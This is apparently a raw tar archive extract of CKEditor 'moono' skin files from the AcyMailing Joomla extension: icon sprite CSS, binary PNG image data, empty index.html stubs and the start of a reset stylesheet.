.cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}
com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/icons.png000060400000024322152455305310026164 0ustar00�PNG


IHDR����1 IDATx��}ytՙ���v�[�f!�v�E�l$���%���7�yx�yC��a�0�3�/��$�8q�0s�3��!������Wlc�x�%���{wujUuWu�!���9u���W߽U�}�~����Gl@��2��P�Z��&x<��_��זF"LMM��#����a׮]A�8%��K%`4ﭭ���ҥK��^{-�r�ʠ�j�w�…�y��<�Y*ϥ�  �@1���˗��z�>�/��i$80�Zc�cK8��FGG����/�����8A��F�ӹ�j�b��� "<��3hkkۜ�!� 
�;;;MNN�H�.Z:::z#���cZ��l6o����0m"��D4���uppp������} 5!��1�������;A@cc#�!c��\"���������6G���S'�F`0���
�q0�ͨ��ƅp�-��'��49�cǎ�`0��r!�������ٵk�r�-��ej "K2��c�Uy��o��x9a��t�|�Na��Ny!կQ��_��׌V�� `||.\�m�)((�~{"z���W�XA�/������(LDM�r�b�Z�؏A��˗����~��1v<'�1������د�ig�UUU��0JJJN2�&��d"�TWW�z����[f����;���)HDZ�2qp� ��b��1����Ap�7g����x@xΜ9���G6�-
�V�T�l0>k�,c^^��8��0�����25�W�����EI�e�DdV)a��U)��q]c9��F��A�P�B�{aa�/ZZZ�qb���0��(FGGQVVfݻwo@�֥����s-_���9���ё���o��ؒ%K������{{{��mmm~�@b`���na�%�����̙"–-[x���c���1��s��ye�>رclj5k�4�l6���`xx���񱱱?x�f�������r����F#�</O�	�D�(��(OMMa�ڵ�޽{���|p�^xAg��>�:�D����+V�����c�޽�zjz�}�<��f�EcW�� �~?fϞ���i477��C(B<GQQ���0::��{�ܨI��͛7s�����199���B�������ٳ�1��T�<"$�g�h�#"/�OD�Q�fE:t(�&2���x	
�-K�p�o�ֶ�l�������r�����d6�Odey׮]����[m����JKK�p�B�ŋǎ=�[�@R"Q'=s�m�5�\.'\�z��֭[?�c�݌0�>��c��B�@ ��x�g�*+8@��~���c�|D���ܳg��/ثED™��V*--����|�]EEE�---����m��Lg��F��
]�|y�'��3g����b� ��4��D�AD���\YZ'
ѳ�2�ek�H >f�8�3��Y ��Y���T�I��?��>&"�H�M7�T�F �ba��K_c 8�Z0�b���K�IdR,6��8��s��m
�2)�C�����qA��K��Z`�	3R,�1�1/A�>#Ţ�L��h4n�J GŢC�i���x��$��#��F�$�II_LY��&Ɨ.]��~yyJ��̙�Gy�����4>�^��XL��z�(�8�"�HZ! ��D J3�ꚫ�h��N��j�|���8�t��~E��h�c��񸂊Z'^v��-/WTTT�Fa6��2��~?���|	@��c��l��㨯�?�ZG�͛7?[SS���%��C��n�����&��3DD+��Ռ��>��]]]�H$R�q�-���������+=�Zӄ�X~GD�":(��+B9�tm�*�.PD�\�ւ>W���j���-C�ZK�2���M7�D�f�"$ө��%��H7�x#!��q0-P6|�;�Y^PP�N�>��7.��b~ooo��y���8x�^��׿�`EEEM� `bb���p�\p������8��8���z9]s��\�z>����pP�@�>�远?�w��ELMM����'"K����[�n�:��� �r�-�����葝;w^Y�h��|�+T^^�������.\H�����=��D�jll�?>=����?љ


�g�y�D�%�����jjj�ID����V�5�կ~�u�ѹ
�њ��+D���~����EDo(:'���v��D����`4]ED��.�[�ly����ס�:��HdUN�kkkI
N�s2'"N��Rӈ���.�L��D�Vk9�ڐSa2�4�D2c�4.��0�,�j��<��j�5��q�D��Q����$ ��31q:!1�%���o�q������gj�O�'&�iy [3�	d{s@�/�P��t��9��.My��t����5
,��6{O���`�n��#᧘�*��2R^^>,%�}�mmm�.[��i6�߀l�K^^��+V�����$p�=������ҥK��f�o�2f����˗�{�^��ʫ��644<���Z�D�}�����񉾾����l8z���Ǐ?��'-FA~3o޼ކ����0��(jjj���^{�w����e�M�6�1�y�mܸ����X�������?���{��ʞ�*���v�ݿ��S�r$	y<�
��C��j�Xk����9?_Ap8�v�@���8�
������eǡC�&�;6e������C��w7Wix�j��joonݺ�"*""'=s��7�{zz�|����m��꧄w�G}t+�-%<��ѱ���#�KKKcH� '@D��q��u���}�����򻻻�k�Z�����'��p�رc����VUU�ED�d7����o{>��]��wDdS �^J�&�$����H��ѳD4"6�j��Cǧ]/�zA��t����!��J��fH�P�{��w�]wՕ��.]��W_}��H|��ؑJ�ĉ'����澾>?D�&�o��s�N�ɓ'�kll4*X�Z�DD����������uIIIN�u@i�J��T�LO��$�FS�m��AJ��oR����&�X�������p5.��IFj��������d�5�I��F���*��>�����*eU� �Ps�ȑ�v�C^^^��,���h�dW�����&�]�g�μ���֩Z%��.�:t�BF�zA���Q��Pi$�&�PL�/
�lhhH�;�D"�������c8~�8�y�_�jjj�C,� �������緿��wFFF|�Pb���ף���n@�UUUF�ߏP(�p8�׋���˖-{i���/0�v{��d~ @EE�9I � �&�(�|><��c�b������흚�J��D"I��	�'�@$�����{�
E&&&�G"�d9I&r�m����׷�1�����1�ɒ%�}>_�SIfr@B�b1D�Q\�z5��s�m`����h4>����p��˗�"���^�@j~~�^��6ʍN�VRR�M��%�ɤ�@��
��z��b�<�XQQ�c�Ƙ��g���	H��b�,X�����luii��1��ۇ������~���Ah���`0�Ōeee�cUyyyK��ڜCb������w�u����(�@(�*744l7��Hp8���LvT^^Μ9�����łx<��{�w;��g�|``�}lll��d2J�"�,�1H�p8q��{w�ܹ����Q��o�(H�;(�� �L	/:>'���\�&і;y��;w�$��Ґɍ���J��a���:���g"`ikk�/���`� 0�L̈́�ʖ�� �~���㽽��Pٞ�J ??�r����zzzB�H�|yy9��\tvuu��B!\�zu��ɓ?U�h���!�3�<�p8p�ʕ����S,8�r�N^�z5r�
78(,ک�}gmm�7�\��+V���G�� ����6����!�Vk:�U]]����O�>�؂�bŊ���֒��&����h4J�`���<"�^0�x<N���J�3�'�x�,Kڶ��Y�4F���`�X`�ۑ�����&$ߚ'�|��V+8��|���x~�O=�ԧ��%�<��cd6����D�P(�5k�|�|���%�ј�iA��?��u��Il�lK����hDaa!��q6D�Q\�r�H$�f���3f��Bqn5�H�<��C3z��?���U6�L9q�����s֡�S�'i���*b�r55%�es��D�'cWcO"!�4��)Y$���*�	��/1�2���xں/���������+Wj�ɓ�iQPP ���GD���{*u���q̜��f�j<�x}}=!�6�l5x?1��8f�ɴa``�9o�<������j�"I�d2I��JKK���sw~~�	w�Ɵ��b1�B!tvv�,�FI�1����3g�XǾ�6�<Ap��	���� ���q&''122�����nG�Ϸ��6��TWWH���G(Azw��rqq1b�X��DA �HIr	]��>�rա��7>Qm��8�)_ij�w@QQҿoU�_��ԣ�Dc�XIDc�%�*@D<%�*�J��vgo����B�O&�l^�"��6�M��u1N�"���@� ��pD�Y��wd�NJ���H,L��\��3m/���H �4b�2ƮX1�>�8���rzR.I䧹Ԧq ��Z"
�%��3Gmi"�T�����=Y	���f��/..��_B������c�	�_i0IDeH���^knn>�&���ׯ_o�ɋ4�@���PCD[e�[� ���v? ��I�n��EYd�yHz!.�{��6�Ψ#�2�q�K��/�ک��� ���ڜ�@B�=���瓳�}��=M���=0�Lope�;"
ũ0��7t��|��r}���ZU$�
��P�}`�Z'Sˈ�דd�/H�8�t��M����|AUw�d� O=�S��;F>Qm�јu�"u��M�W�&�./&��n�_�NxWEfjt���咚���+�E��g$�@D�ew�/?�@ˆ��h�,�����> �ccc����:a�> "�(�S�a�>�i�Es���m)s�YS��w��k�A6y}@!��,B`�	;�����4��_�?��.^3@��͙3n�<�gt�ccc8x���?c̤ �Oڄ��x<���p��e�>}z����'n¬Y�PTT��+J:�U� x5�v{NO��&��{�f��,�D΁����s��F�r	q�L�S	�p����8n�0���Y_��W����ϟǻ�*G�jǵg��5g�
H�f��̟?<�k�'��
�0::��/NY�J����Pb]����ۂ,{)���T4�%����lll4�
V"B4���0crNԞ�h��΢�~�a�n�-D���_,�w:�E����!�EB���z�I�����'3$pz&�u�Α�0Os��q� �Ł�S�4R�F��X��H5Y/���y���NPP��`[�$^���N"�OM�i��Fq��e0�Bi�Ȩgm���l���^��ٌ�YuEF��y��r��R*�I��9�T3�
�&������l6�m�9Ҷ#ec9�jM����URk�j'�\.�x<�:B�#i����t�����k�[�I���Sav���v����{1퓑��H����^/���pcc#͛7�l6[��bd_c{{;}��G�����s������7�x#�â�D�~�zLNN���&:~�8K~����3g����AD��b�I��h4������GrE8I #�d2A�^�4HV�������D�ڔ��<��<�q���v�HQ���
R�%Ɏ$ٍ�V�M������C,c�h�`~�~����d�F�u� 8��X�~���s����jjj�eee�W�Z��g��D��� ??_)���>"��������w��AV�AD/�E����e�\
����s�f��t|�����������?+�"G���z�f���͛G���d6��HxD�bz��7)A%9_PP@��7�q���8���p��1\�xDt��p�jkkq��!���@"���O��8��ը��c�`�gϞ ������+ ��ʢ�	"�PN�%*EoK�$��&
� ���bCܤE�KmB0D4Mr�����r�F`||^�w�`0|��V���j�"??�D�`0�0����ۈ肨�ѕU�Vm-++�^SS���%��se���J�$��>���Q?l!"��7.�}�}�U΋��A˙��u�t9�Cǧ��
��\�]�D�y�>��B��_]]}��>�yB��������H�������"�$��ߘ��=�uwwSww�b��l6�	�9I��ruWUUQ(:@14C�Ё��*"�n�	���r�1����o6���o).��<���b?c,n�X�'9�ַ���)"Z����������>�`�X'"��իWopX�ޕ+WnY�r�[)O���ի�џ�	�D�L��j��&�S_� �����C��/,>Gz�d2��׮��ˉ�����>�ϣ;��������1����͌�;�fs��ŋ�f��a��GK/�^�z�֭[\�|�Ѧ��s���GD��SO���#��]]];�0PO8WYY9r�СUrZz�A"2�+�/�S[[Ks�Ν$�]D�<)MF,��LJ3M���#���vr�\�ZY�.̚5k������I��L>�LX�v����g�~�;���r�v��Օ�TBD;�6�}���TC���9G2�CʵMV����`z%$"zKC��%+�gٲe�l�2���m�:����������JF.���/VVV���<��o��J@m��b�
�a�Ƚ{?+|6���������Q�5B�d�d������+�2ʅ�M�6�h0�Û6m�">F:�h	�\�

���SO��~.:����Q�i�\���O���~�NLvD^^^R��<�Kk.���r���cԡ�@��c�3��b��%�MD����*�w��~v��AD�Qf��ڒaj���ۭb:���8�ք��$�+�N.�Q*�<
uF�Q�m�ە;��#c���1�\x��c���s������=��2��HD��e�?:�`P�|� dR��D��˫俳	�T�{��!�9&䩌1���P�r��H�\�L�Ґ��<�N���L��̟�cT��3}�i2��1M���1��|=.���UUU4w�\��� ��@~�R����:::h�ܹ$�����Ayy9c��lo����i�("��v�mo:�A"cgϞM��шӧO�h4B�A��_�ޞ1�ׂ ���3	����o����4_���V����%��X'����-D4DD+P?����멿��-��D4TXX�E޾g�o����qL˾d���b����7�D4�S���nY��bڏ��;E��&���yZ^x�…���K&���a�…!�ձX,����h�"jjj"��+QKSS-Z�H�d�X'����G�@����x�"�y�`+c��Dw�u�…����ԩS�X,عsgℨ`0���r�<�&��Re�?��@����x�x�"�� x��ѣGc�R;�16�`kk+AHƈ�`xx8U��M�HoV"�z:�0�t:��t�!�Br�"�����������ߏ���:��)fc��x�ĉ|CCCscc����҆QA`�Z�'NXO�<�^cc��1�"���?C��!1o14�S�~�r� ��Z_��&��T�M�e��"?�	�E���[���>���Pn&�~km�K� �&�Y�[�(SY���v -���DQ��C�1?�Dw�ќ�������@v(�fu�IDATx�ȑ#'�������tH��p�J[{_���˱.�:td�9���gG�^�	�:$�MА�LT�
�&�+49�UWh�UW$	h
[��$�@��tE��(�'3D]��+� ��%V�����_���.���.ц�+t|Z�Z�$�����o���w�]wՕ��.]��W_}��H-����z�������HQx;w���f�9g� ;R`��	%%%�zA����s�5����I��Ȑo�ەM��n����v�&�x�߲3�U�E��4���2VH�Wkr6��I�Z�➞���\gm�󅚚��:���V�/�����Vk�z!U�P�l�됤@I� �!Ii�~����r��M���H��3�i,�TW��9���>e�b\+R�*wLE��4u��K2��u���-���x���&}0���A�={�;n�?��OK<O}0Daa�����Ccc�厎y��n$NA�zzz����:GFF���7�u�n��IUc��нd�g8ƕ+W�X��ͫBm�z��bA8��n?���*�ñH�ֹt��}j�2����[�d	��������,*,,�B�x�?`�L	|��cbbuuu��2���5�<EP����jr��t�ȑ�b���r��q��^w�����Ei�Ł��e�JLsѶ���!��mnn�_�zu�4bW������cgl���q�D[[�q�oxx�y����579����6X���o�ۭ���w5r��KEEE����}�N�}Ị���[�t鵫A:f�U�,�3Wv:��Zc�����VLR"j[�Z��Q����n�XJKK5	P����x�-�$�OvT��o�p�JY�Fuu5@ee%����(�:̞=[�	�/�������n��N��ឞ2��>[
^�i�}���wZ,�C^��_`bb�W��Ν��R��QEEE$��/�ϟ�;1kcggg��e'*�r~���#�߻5�MCe�F��,�R.KF�r�n�u���㏆L:`U�z	�.��p:��Y�h�z"�!���d��5Dt�n�k�S)D���'�����t��@�X�>�@�����uD��+��#
��7��
===�t:��~_?q�:s�o�)l�ܹs������x���X,�:;;�p��N�:��:;;c6�Y��?~�㸿�uG�:A��Y�e��R��;�I�	:��`��+�����fO��P(A�=[R�Ȕ��<���	���#��`6�a2��
%Bf��1�`�X0k�,�����(&����rJ���$��1��zn2�(����f��j߻��Ԝx��4�Cr)H�M&SNiǁ������I���s��544p���K�D$,:Y����?��N�$��y�����k'�t��f�R"`l��."�]�C��/]k�^˷�i!�#����v���_�2�q�ԩ�	�0�^����mnnF4�t��H�p�9��$�Wx����n��h�x�ᣏ>B(���Ň~x��^����E�V���w�l6� �S���(l6\.***P]]]499�
����$�y�heee�������<�#B�ݗ.]r(+,,t`���>��;�tQ��{ߪ���uttPCC�v��Dt��Þ���=�%}�&��W

�X,礽kb����$��~�l��$��T��hܮ���O<�A��X�ED�d�0#:t|�x		qmu��H�4dh�����{�q��ۑڭ��u:�"�|��o�o4����í/^�2��L������Z�v;�f3jkk�:�`0`llo������_�f��������f�%'b�`09��---\YYY��͛����n����7ߌ��1����.���L�<ߝ��A099����#�Ν�1ƒ�YSSc;���u�֡���@����v����񎎎����k�-���o��O~�UT"wQrS��b!��rnhhh%�|�۟x�
D���0�ۉ�=��4��'�W�ȥYY��t���]/�С�Sڑ~�v�x�v�������Vݎ�ۑt�A�S��OU�SM-����B�S�Tu?�LY��~�:����81ە(�IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/lock-open.png000060400000002461152455305310031223 0ustar00com_acymailing�PNG


IHDR  szz��IDATXÝVMlW����l��?`��5(���E�U�TZ)%U��ks��C��*�*R�@��^{@9JQ��8 ��R%�����7=x�l���f$�֞��f�}��m�MP�s2���� � �W���PZCk	LdD)�R��)�ZCi
PB��(��5p��`�)��\&*C����ţG��OBϞ={���p�[�����*��� "B >:���ӫWL�v\)�e�#�a\ت��X����	̨�„���b�/�]����8+0�`��Ю�=����]�MM���ۇ�mC
�wh#�?_��m��hh"�a�0M�	!%��5L���.ә3��L�XB���(khxd�Iة(�otl�����p������ҥ�����Y)0*�F��7򕥥��W��vݷ��5j�&ڮ�VCei�?�4g���ö�c�~����80f$l;)?�L�;A�N�����n;�E���R�{C¶����ĉ�>����JAH���x�PF��P��t���Lk��e��v&��?��~cX=1p	ᖻ��Q
��U����f�
�u��B:���[d`��zv"��P�&��&��&@)�00b�o�H���e!�����@�Xf`�-)a%x�0Pk�P��Po���c
G�D6�F����cG.�����D"è���r]��m<y�ty}ee~�Ν{����Jnc�<*-)161��ɓ��0B��jzz�H	SJL��?�,)')���[�̘8t�fH!È ������}'Ȑ�p�u!�ͻ�-������8��x����
�/�~o<��pD�dއw<��o�� �řÁ��=��2���|E�����Ç7�J�EHf�s��O_1{�%PJE`���@�|0=�Y�{w[[���L��9|899&{g���U�tD��"*��J���닚y=7 f��$�34�o��?;�� |���IB���F2��C*5��S)$��9�5(d��p�@k(�B�����W���ml,@<��+��W�wW�-��N� �0�#R�g�i�Ai��hz�$u�#lu|z�
2-?E�"���-ػ�Я�����X][[(�?�M�A�ŋ����g���˅%��a�TZn�|9�t�m���5^W��ZZ�7j��}��4����e$���f�v��*=t����̏�.b�M�S�HIEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/close.png000060400000002367152455305310030446 0ustar00com_acymailing�PNG


IHDR  D����PLTEԨ�ը�թ�֪�ת�ث�٫�٬�ڬ�ڭ�ۭ�ܮ�ݯ�ᲲⲲ㳳䳳䴴嵵浵絵綶鷷鸸빹칹�������������������������������������������	/99

RSS199&&+335;;9??<AA=BBBGGLNNPUUQUUVWWQVVTYYV\\?BB@CCAEEBDDEGGGGGGIIGJJHHHHIIJJJJLLKKKKLLLMMMMMMNNNOOOOOOPPPPPQQQRRRRSSSSSTTTTUUUUUVVVXXXXYYYYYY[[ZZZZ[[[[[\\\\^^]]]^^^____``````aabbbbccbddcccddddffgggghhjjjkmmlll��.��tRNS&*2789:;<=GGGGHIJL���������������������������������������������������������������������������������������������Z��IDAT8�Փ�OQ����n?a�_����b���	��&&���M��Җnww���K)<��ܜ;��IΙK�T!?�}p}/
�)��@Y����]IyDD�JXu�+Y���Yͦ��G�R���R�����ө�
r���=z$�2��j��1'q��W��ų�E�x��Z��S�ǩ�S(��N��x����}Tv�e8M����tb.ӠZ�~�������8m�����ラT���$�;���1�!f^?�Lupr6Y�{'�4c4���(��~]�680�HX\&8��̝nf�1�A���x2�Ue�*˷"*ܲ��Q��[�/^��6�V�����7��}�&Vs���w_+C��
�v���l����h@h��g����j&r5�I���i��:�J�whFױ,+e&�8�j�
�:�`�}4��#:�j=���].nCf����)��w~u�7�^�]]�X�;^��2��j)YN�|i+a��,&Kw��E?�8��yd�5V���H�����RS{_�IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/index.html000060400000000054152455305310030617 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/lock.png000060400000002423152455305310030341 0ustar00�PNG


IHDR  D���
PLTEԨ�ը�թ�֩�ת�ث�٫�ڬ�۬�ۭ�ܭ�ݮ�߰�ᱱᲲⱱ䴴洴浵캺�������������������������������������������������������������������  ""##HMMJNN/::9EEV\\[aaADDGJJ(())**!--#..$//&22'33)44+77,88/;;0<<2==7BB9>>9DD<GG=??=@@>AA>II?JJ@BB@HHACCCEECKKDDDDEEDFFEEEEGGGGGGHHGIIGJJHHHHIIHJJHQQJJJJKKJLLKKKKMMKNNLLLLNNMMMMOOMQQNNNNQQOOOOPPPRRPSSPTTQQQQRRRRRRSSRTTSSSSUUTUUTVVUUUUVVVVVWYYXZZX]]Z\\]^^^``_dd````ffacccddceecffddddeedggeffeggfffgggghhgiihiiikkilljmm�n��tRNS#4<Wf}}�����������������������������������������������������������������������������������������������������������������( 
IDAT8�m��n�@���]��i*Q����8 ��y*�\�C�����=D��4u����M���O3��X��wN�gk
AR��~+xw[�Ŵ7z:��V��p�����{����kr���d���w#��8��,j�m7<�?��ZgEԾ��B#�YX?�f*n"��L�i�6n)�2>�=��Cd��uz�%q[���2��ٲN�o��B/����Y0�0]z�z�.*�*��'�$tm�Y^G\�:�z5C�gTe�~~��;X�w�`��_�uld�����	�����fS����y�����b0V��/�}ꯄM�tD��}*��Gߺ�$�}8h y�#]��m��`�I�]�4�*�y��!�TmD�H��MQ� P�l,bi#e���f4nY����DR�����1���(E�(V�"Z �S�4�ma�u#e�f*��rD>�Zⲳ`ZL�{l�Y�n�\-�Y
�}�(`����Fv&U��B IEND�B`�extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/hidpi/refresh.png000060400000003462152455305310030774 0ustar00com_acymailing�PNG


IHDR  szz��IDATXåWYOUW݌W�\�p#ے��
2��$2(�hml�֤M��t�5i��CS�g��Zg���E���=]ksA�z���˹眽�����G\X�F���B�׭�6lW6n�qm_�^��];�3Ļ���[��G����G�����]�ĥ���x'�i�C(�o�k��v����{��A��r���M��#1+1Q:�L⿿v挸�w�zюK��Rx����7v�ډ
�+W��s���t�IZ{���[v\b_16����͛��={��C����"�ӧ��ե|�b�\�|��_�H��8��}q�ΝS{l�x�bZKi����vtP�d2$buruMkhh�.����r�ҥrV\�..�x�\̔6c�1#�4jmmT:�d/h�� ���� �EC/^,kjj�,X�@.Y�D�̙#]=<z�'];^<jnW�lyİ�;���̈fdC>���{+���
˖)K�h�kkk�y���\�����ߋ�c��!8;���T�H3"���QQ�0RLE�a���UWW˪�*YYY9 �W@��d5q3�'��f�9i�-��_<{���|(��J<
* s������C��
�KJ�Q��S�ă�&q�<����;|X�(/��:XL*�t�L�����[�Mf��G��o]`h�	����+t!�����8ˢ;&n��)� �l!S����Vh���SeXVR^.?�1c�2��Pv5(�]8;G�Z��B���I��?c���yn��4dY}�_V'O���>��a�P\���Y,�h.�'Xsc�vU���m�����<���0�ʴ�'�y�X�a���1Ge?�_΁T^�k�$&6�-��j��j�]�饸�22��A)�q&��-�\Щ��鹾JKKKU���ph0-"��6@O��Ww+*g!��Ab����z�O��U\R"g#����GQQ'XrY�R�{��pwwf\<ٿ_�D0f^����f��P���.�z�PN�f�/�24�
F4�S�?�����1#0)��g����Ae~х��"T<@=�J��Gc�ެ�t_���-@CV
��i��L�_Aa�,���
7��5��D�7`�X�:���;"�Vi����DG˩�%��` �눙3/g��ʼ�|%H�V6�;oh��[/ף� �F,�GF���RO��Jhd}�=a�Y992L&�v+�֨e(W=F������CX�<��U̲���JJ�`J��|�	�d� 

�h_ߋ*�`�]D}�>j��^2�70��ؗ��<'"j��X��=x�G'$���Ζ9B2�����[#ލ�@"�cR}
MJ�qX�/��9�����q?��y��,`���,���::V�''ˌ�LI dbf7/�kx����K��G2(�
uƳ"�ѣ{b1	q}@sBJ�Ğ(��v[ͨU/,�lǠ2 $dK*jB&A�0R���%$D�<=�R��o�����8���/-#C�[,��:�;\Ox-��#V4�"2&�'%-M��@�u6H1-�>c��KHP�\�)���hN�>�'mՑa�v\!���/�Ae���2`�!�7�%#�c����ࣨG�J�홐�@��_O������J�Ϝ���$ �J�2^��LdDTT7��p-��]�:(�TL�
��Ѫ��KpX�)kl��8(�YPXX����*���j4&ք��7�V�'L!�1�,?6�s�|��X���X��Y�V_F�'8�s��j(�}�Ж;¯�;��h��aIEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/lock-open.png000060400000000535152455305310030205 0ustar00�PNG


IHDR��7�$IDAT(�]��.���͡�D���^q�
iI�X�xOӧq�#x�V�Jl"q(��C�Y��|23"F�I�ңG�.	�>iw�p��Θ�A�+�7d�R��$x��8fq�z�CUR�>_������/���+od| L��'!����s��*�B)Ch�'"�!)�t�eO��j�K/]V��`˚g�۴i�sO����Vl�ٚ
6[�
+��A�C�)�u-�AѲG6�i̴Y������sn���#�2����+���+.I{@
�<��Q"�<s����s�/IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/arrow.png000060400000000277152455305310027453 0ustar00�PNG


IHDR�gr�*PLTE999���999999999999999999999999999999999�}U�
tRNS	*-cf����G�7IDAT�c�4b��
�w����Aw������ vL2`���}���� f�b�JUW��Q�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/index.html000060400000000054152455305310027601 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/lock.png000060400000000733152455305310027246 0ustar00�PNG


IHDR(-S�PLTE�������������������������������������������������


---'''   """''')))***///777===>>>AAABBBEEEGGGIIILLLMMMNNNPPPQQQRRRTTTVVVWWWXXXYYYZZZ��A tRNSHgg������j���IDAT�1r�0E��h��'�Թ��R�e�#�"~v
��8�J�Vz\�(�h�^�/`m��m��6N���� ���xo܅�;�{��Q����nV���03I���_f��!��忣�d& �y� eZdd� �Y�>�Ȝ�:dnm�Թd�V �4U�Q,IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/close.png000060400000000724152455305310027423 0ustar00�PNG


IHDR(-S�PLTE���������������������������������������������������������'''   '''SSS===DDDOOOXXXYYY[[[BBBKKKQQQUUU\\\ccceeeUz�0tRNSWX[^_bbeg����������������o���IDAT]�Qr�0@�'�@\��glBgZ��R��� ��@� ��=��̂��=��uџ:Pt��QD�|���e"����|��=Ү2k]�Wۯ4@��u<_{�@�=������orJ�4�n���c���aR�e�w�ΡF;Ði���;��Q�]$�F��D�Zd�'��f�����IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/images/refresh.png000060400000000646152455305310027757 0ustar00�PNG


IHDR��7�mIDAT��KU�cf����iT��!IjCB�T!9D���?�HS��N�-�-��r}~D��45�u�B�P(�*u{"jJ��B�P�,�'����

�ʲ���=_�Ɔ��B�.B��޷O��x4�ƪ�Ҳ�n����g8���D:c��y*M���<����wL�I�o���%�i�����8Cߝ������m,�?E��S3:b�o�Jv���0dž�+*�qt(�1ukvE�5�Ş�E_�N��mkv��}�1K��gn��K��f�^n�����+#��6呗�s�2�#�����/�΅�̹��F�>h�e%��
����ٟ�{͞/D��J5
�CKDӲJ���X�$av̡IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/skins/moono/editor_gecko.css000060400000107116152455305310027516 0ustar00.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all 